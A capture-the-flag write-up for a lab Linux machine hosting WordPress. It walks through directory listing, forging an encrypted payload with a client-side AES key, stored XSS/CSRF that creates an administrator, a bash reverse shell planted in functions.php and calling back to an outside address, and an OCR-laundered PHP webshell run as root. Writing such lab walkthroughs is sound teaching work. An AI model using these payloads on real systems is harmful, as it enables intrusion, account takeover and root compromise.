Difficulty: Medium  |  OS: Linux

Introduction

MakeSense is a Medium Linux machine that hosts a WordPress site for a web agency. The theme has a voice-message feature that transcribes audio in the browser, which is where most of the bugs are. The chain looks like this:

  1. Directory listing on the uploads folder exposes a voice message in which jake reads his password out loud.
  2. The theme encrypts voice-message results in the browser with a key that ships in its own JavaScript. I used the key to forge a payload that stores an XSS, and the XSS creates a new administrator.
  3. The administrator can edit functions.php, which gives a shell as www-data. The database password in wp-config.php is also the Linux password for walter.
  4. A root-owned OCR service on localhost writes recognized text to a file whose name I choose. I made it read a PHP webshell out of an image and save it as shell.php.

1. Reconnaissance

A full TCP scan first, then a service scan on the open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 10.129.41.43 -T4
Nmap scan report for makesense.htb (10.129.41.43)
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
443/tcp open https
8001/tcp filtered vcom-tunnel

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p22,80,443,8001 10.129.41.43
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp filtered http
443/tcp open ssl/https Apache/2.4.58 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=makesense.htb
8001/tcp filtered vcom-tunnel

SSH and HTTPS are open. Ports 80 and 8001 show as filtered, which will matter later. The certificate names the host makesense.htb, so I added it to /etc/hosts and browsed to the site over HTTPS.


2. Web Enumeration

I ran WPScan with aggressive plugin and theme detection:

1
2
┌──(kali㉿kali)-[~]
└─$ wpscan --url https://makesense.htb/ --api-token <token> --enumerate vp,vt,u,tt,cb,dbe --plugins-detection aggressive --themes-detection aggressive --disable-tls-checks --verbose

The useful parts of the output:

1
2
3
4
5
6
7
8
[+] XML-RPC seems to be enabled: https://makesense.htb/xmlrpc.php
[+] Upload directory has listing enabled: https://makesense.htb/wp-content/uploads/
[+] WordPress version 7.0 identified (Latest, released on 2026-05-20).
[+] WordPress theme in use: webagency
[i] User(s) Identified:
[+] admin
[+] walter
[+] jake

WordPress 7.0 is current, and the webagency theme is a custom one. WPScan also flagged Akismet for an old stored XSS (CVE-2015-9357) but could not determine the version, and I did not pursue it. The finding I cared about was the open directory listing on wp-content/uploads/, plus three usernames: admin, walter and jake.


3. Foothold: A Leaked Voice Message

Browsing the uploads folder shows a 2026 directory:

Directory listing of /wp-content/uploads/

Inside it, 01/ holds a single audio file:

voice-message.wav in /wp-content/uploads/2026/01/

I downloaded voice-message.wav and transcribed it. Jake dictates a password in it: ClearLightNiceSmooth4923. It works at makesense.htb/wp-login.php for jake, but only as a restricted user. The dashboard has no Plugins, Users or Appearance menu:

Dashboard logged in as jake


4. Breaking the Encryption Trust Boundary

A restricted WordPress account is not much use on its own. Directory brute-forcing with feroxbuster turned up the theme’s JavaScript, including a whisper folder:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ feroxbuster -u https://makesense.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,js,html,bak,txt -d 0 --insecure --scan-dir-listings
200 GET .../wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
200 GET .../wp-content/themes/webagency/assets/js/main.js
200 GET .../wp-content/themes/webagency/assets/js/whisper/recorder-worklet.js

How the voice feature works

main.js shows the whole flow. The browser first uploads the raw recording:

1
2
3
4
5
6
7
async function uploadAudioAndCollapse(audioBuffer, wavBlob) {
$('#callStatus').text('Uploading audio...');

const formData = new FormData();
formData.append('action', 'save_voice_raw');
formData.append('nonce', webagency_ajax.nonce);
formData.append('voice_recording', wavBlob, 'voice-message.wav');

Then it transcribes the audio in the browser, encrypts the result and sends it back:

1
2
3
4
5
6
7
8
const payload = { transcription, summary };
const encryptedPayload = await window.whisperTranscriber.encryptPayload(payload);

const formData = new FormData();
formData.append('action', 'save_voice_results');
formData.append('nonce', webagency_ajax.nonce);
formData.append('post_id', postId);
formData.append('encrypted_payload', encryptedPayload);

The server decrypts encrypted_payload and stores what is inside. The encryption has to happen in the browser, so the key has to be in the browser too. whisper-wrapper.js confirms it:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ curl -sk https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
/**
* Whisper Transcriber using Transformers.js
*/

// Symmetric encryption key (must match server-side)
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';

A key that every visitor downloads protects nothing. I can build my own encrypted payloads without recording audio or running Whisper, and I control both the transcription and summary fields.

The same file has a function that hints at where the content ends up:

1
2
3
4
5
6
7
8
9
10
/**
* Map spoken words to their symbol equivalents for XSS injection
*/
applySymbolMapping(text) {
const mappings = {
'open bracket': '<',
'close bracket': '>',
'slash': '/',
'quote': "'",
...

It turns spoken words like “open bracket” into <, which is the author’s way of simulating someone dictating a script tag. Because I can forge the encrypted payload, I can skip the speech step and put <script> in the transcription directly.

Forging the payload

The browser derives the AES key as the SHA-256 of ENCRYPTION_KEY, encrypts with AES-GCM and prepends the 12-byte IV. Python’s AESGCM produces the same layout (ciphertext with the 16-byte tag appended), so a short script is enough:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3

import json
import base64
import hashlib
import os
import sys
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'

def encrypt_payload(transcription: str, summary: str) -> str:
# Derive AES key exactly like the JS: SHA-256(ENCRYPTION_KEY)
key = hashlib.sha256(ENCRYPTION_KEY.encode()).digest()

payload = json.dumps({"transcription": transcription, "summary": summary}).encode()

# WebCrypto AES-GCM uses a 12-byte IV and appends a 16-byte tag to the ciphertext.
# Python's AESGCM.encrypt() does the same, so the output matches the browser's.
iv = os.urandom(12)
aesgcm = AESGCM(key)
ct = aesgcm.encrypt(iv, payload, None)

combined = iv + ct
return base64.b64encode(combined).decode()

if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 encrypt_payload.py '<transcription>' '<summary>'")
sys.exit(1)

print(encrypt_payload(sys.argv[1], sys.argv[2]))

5. Stored XSS to a New Administrator

The payload runs in the browser of whoever views the stored transcription, which here is an automated admin-side process. It fetches the “Add New User” page, scrapes a live CSRF nonce from it, and posts a request that creates an administrator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fetch('/wp-admin/user-new.php')
.then(r => r.text())
.then(html => {
const nonce = html.match(/name="_wpnonce_create-user" value="([a-f0-9]+)"/)[1];
const body = new URLSearchParams();
body.append('action', 'createuser');
body.append('_wpnonce_create-user', nonce);
body.append('user_login', 'pwned');
body.append('email', 'pwned@evil.com');
body.append('pass1', 'Pwned123!');
body.append('pass2', 'Pwned123!');
body.append('role', 'administrator');
fetch('/wp-admin/user-new.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: body.toString()
});
});

Both AJAX actions worked without logging in. The page’s nonce is printed in the homepage source, so I grabbed it with grep. Then I uploaded a dummy file through save_voice_raw to get a post_id, encrypted the payload with "status update" as the summary, and submitted it through save_voice_results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~]
└─$ NONCE=$(curl -sk https://makesense.htb/ | grep -oP '"nonce":"\K[^"]+')

┌──(kali㉿kali)-[~]
└─$ echo "dummy" > /tmp/dummy2.wav

┌──(kali㉿kali)-[~]
└─$ curl -sk https://makesense.htb/wp-admin/admin-ajax.php \
-F "action=save_voice_raw" \
-F "nonce=$NONCE" \
-F "voice_recording=@/tmp/dummy2.wav;filename=voice-message.wav;type=audio/wav"
{"success":true,"data":{"message":"Audio saved, processing started.","post_id":74}}

┌──(kali㉿kali)-[~]
└─$ POST_ID=74

┌──(kali㉿kali)-[~]
└─$ python3 encrypt_payload.py "<script>fetch('/wp-admin/user-new.php')...</script>" "status update"
JMTBAVt4zkmkYj6CCW17VDupgLLfp9XFCu6NNJ0HC5GpNXRYn4WpYW9OafiFN...

┌──(kali㉿kali)-[~]
└─$ PAYLOAD="JMTBAVt4zkmkYj6CCW17VDupgLLfp9XFCu6NNJ0HC5GpNXRYn4WpYW9OafiFN..."

┌──(kali㉿kali)-[~]
└─$ curl -sk https://makesense.htb/wp-admin/admin-ajax.php \
-F "action=save_voice_results" \
-F "nonce=$NONCE" \
-F "post_id=$POST_ID" \
-F "encrypted_payload=$PAYLOAD"
{"success":true,"data":{"message":"Results saved successfully!","post_id":74}}

Once the admin-side process opened the stored result, pwned / Pwned123! was a valid administrator login:

Dashboard logged in as the new pwned administrator


6. Getting a Shell

An administrator can open the Theme File Editor under Appearance, and the active theme’s functions.php runs on every page load:

Theme File Editor with functions.php open

I added a reverse shell on line 2, right after the opening <?php tag:

1
system("bash -c 'bash -i >& /dev/tcp/10.10.14.140/1234 0>&1'");

functions.php with the reverse shell added

Saving the file and loading a page caught a shell in penelope as www-data. Two more sessions connected right after the first:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ penelope -p 1234
[+] Listening for reverse shells on 0.0.0.0:1234
[+] [New Reverse Shell] => makesense.htb 10.129.44.33 Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
www-data@makesense:/var/www/html/wp-admin$

7. Lateral Movement: Reused Database Password

In the web root, wp-config.php uses SQLite, but it still has MySQL-style settings that the code never reads:

1
2
3
4
5
6
7
8
9
10
11
12
www-data@makesense:/var/www/html$ cat wp-config.php
<?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );

// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
...

The “dummy” user is walter, one of the three accounts WPScan found. I tried the password against the Linux account:

1
2
3
4
5
www-data@makesense:/var/www/html$ su walter
Password:
walter@makesense:/var/www/html$ cd /home/walter
walter@makesense:~$ ls
user.txt

It worked, and user.txt is in the home directory.


8. Privilege Escalation: An OCR Service Running as Root

Nmap showed port 8001 as filtered from outside. From the box, the process list explains why:

1
2
walter@makesense:~$ ps aux | grep -i 8001
root 1399 0.0 0.7 228552 31536 ? S 08:48 0:01 php -S 127.0.0.1:8001 -t /root/ocr4/

It is PHP’s built-in web server, run by root, bound to localhost and serving /root/ocr4/. It asks for HTTP Basic Auth, and walter with the same database password gets in:

1
2
3
4
5
walter@makesense:~$ curl -s -u walter:'JbhHDAEgXvri3!' http://127.0.0.1:8001/
...
<p class="wordmark">MakeSense</p>
<h1>Draw text.<br>Read it back.</h1>
<p class="lede">Sketch a word or short phrase with your cursor or finger. The recognizer returns the plain text, ready to save to a file.</p>

The page is a canvas that you draw on. “Recognize” runs the drawing through Tesseract and returns the text, and then you can save the text to a file.

Replaying what the browser does

The page’s own JavaScript fills a hidden form field called canvas_image with the drawing as a PNG data URL and submits it:

1
2
document.getElementById('canvas_image').value = canvas.toDataURL('image/png');
document.getElementById('canvasForm').submit();

There is nothing to discover here. I just needed to send the same canvas_image=<data URL> field with curl. The syntax matters, because --data-urlencode behaves differently depending on how you write the argument:

  • name=value sends name=value and encodes only the value.
  • @file reads the whole file, encodes all of it and sends it with no field name.
  • name@file reads the file and uses its contents as the value of the field name.

I needed the last form. A first test with a small image of the word “HELLO” confirmed the flow. The response contains a per-request ocr_id in the save form:

1
2
3
4
5
6
7
8
9
10
11
12
walter@makesense:~$ curl -s -u walter:'JbhHDAEgXvri3!' http://127.0.0.1:8001/ \
-c /tmp/cookies.txt \
--data-urlencode canvas_image@payload_fixed.txt \
-o /tmp/step1.html
walter@makesense:~$ OCR_ID=$(grep -oP 'name="ocr_id" value="\K[^"]+' /tmp/step1.html)
walter@makesense:~$ curl -s -u walter:'JbhHDAEgXvri3!' http://127.0.0.1:8001/ \
-b /tmp/cookies.txt \
--data-urlencode "ocr_id=$OCR_ID" \
--data-urlencode "filename=legit_test.txt" \
--data-urlencode "save_output=Save"
...
<p class="notice success reveal">Saved as: saved/legit_test.txt</p>

That reveals where saved files go: a saved/ folder under the web root, which is /root/ocr4/saved/.

Laundering a webshell through OCR

The filename field is filtered for unsafe characters, but nothing checks the extension. Dots and letters pass, so shell.php is a valid name. The save feature writes the recognized text to disk exactly as Tesseract returns it. And since php -S runs without a router script, any .php file in the docroot executes when requested.

So the plan is to make Tesseract read PHP code out of an image:

  1. Make an image containing <?php system($_GET["cmd"]); ?>.
  2. Send it as canvas_image. Tesseract turns it back into plain text.
  3. Save the result as shell.php.
  4. Request the file. The server runs it as root.
1
2
3
4
5
6
7
8
walter@makesense:~$ curl -s -u walter:'JbhHDAEgXvri3!' http://127.0.0.1:8001/ \
-c /tmp/cookies_shell.txt \
--data-urlencode canvas_image@payload_webshell.txt \
-o /tmp/step_shell.html
walter@makesense:~$ grep -A5 "output-text" /tmp/step_shell.html
...
<p class="output-text">&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;
</p>

The OCR output matches the payload exactly. Now save it under the .php name, using the ocr_id from this response:

1
2
3
4
5
6
walter@makesense:~$ OCR_ID_SHELL=$(grep -oP 'name="ocr_id" value="\K[^"]+' /tmp/step_shell.html)
walter@makesense:~$ curl -s -u walter:'JbhHDAEgXvri3!' http://127.0.0.1:8001/ \
-b /tmp/cookies_shell.txt \
--data-urlencode "ocr_id=$OCR_ID_SHELL" \
--data-urlencode "filename=shell.php" \
--data-urlencode "save_output=Save"

Requesting the file runs commands as root:

1
2
3
walter@makesense:~$ curl -s -u walter:'JbhHDAEgXvri3!' "http://127.0.0.1:8001/saved/shell.php?cmd=id"
uid=0(root) gid=0(root) groups=0(root)
walter@makesense:~$ curl -s -u walter:'JbhHDAEgXvri3!' "http://127.0.0.1:8001/saved/shell.php?cmd=cat+/root/root.txt"

root.txt comes back in the response.


Attack Chain

text
1
2
3
4
5
6
7
8
9
10
11
12
13
makesense.htb:443 (WordPress 7.0, webagency theme)
↓ directory listing on /wp-content/uploads/
voice-message.wav → jake:ClearLightNiceSmooth4923
↓ whisper-wrapper.js ships the AES key
forged encrypted payload → stored XSS → CSRF → new administrator "pwned"
↓ Theme File Editor → functions.php
reverse shell as www-data
↓ wp-config.php → DB_PASSWORD reused for walter
su walter → user.txt
↓ php -S 127.0.0.1:8001 running as root (OCR tool)
image of PHP code → Tesseract → saved/shell.php
↓
root

Summary

Stage Technique
Foothold Directory listing exposes a voice message with a spoken password, login as jake
Admin Hardcoded client-side AES key, forged payload, stored XSS and CSRF create an administrator
Shell Theme File Editor on functions.php, reverse shell as www-data
Lateral movement Database password from wp-config.php reused for walter
Privilege Escalation Root-owned OCR service saves recognized text to a chosen filename, PHP webshell as shell.php

Key Takeaways

  • Client-side encryption is not a trust boundary. The key had to be shipped to the browser so the browser could use it, which means every visitor had it too. Anyone could forge a payload the server would accept as genuine.
  • Sanitizing a filename is not the same as restricting what the file can do. The OCR service blocked unsafe characters in the name but never restricted the .php extension. Combined with a save feature that writes OCR output verbatim, an image of PHP code was enough to run commands as root.
  • One password was used in three places: the WordPress database settings, the walter Linux account and the OCR service’s Basic Auth. Once the first one leaked, the rest followed.
  • Turn off directory listing on upload folders. A forgotten audio file gave away the first login.
  • A service bound to 127.0.0.1 is only as safe as the users on the box. Anything that runs as root and accepts input from a low-privileged user is a privilege escalation path.

Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏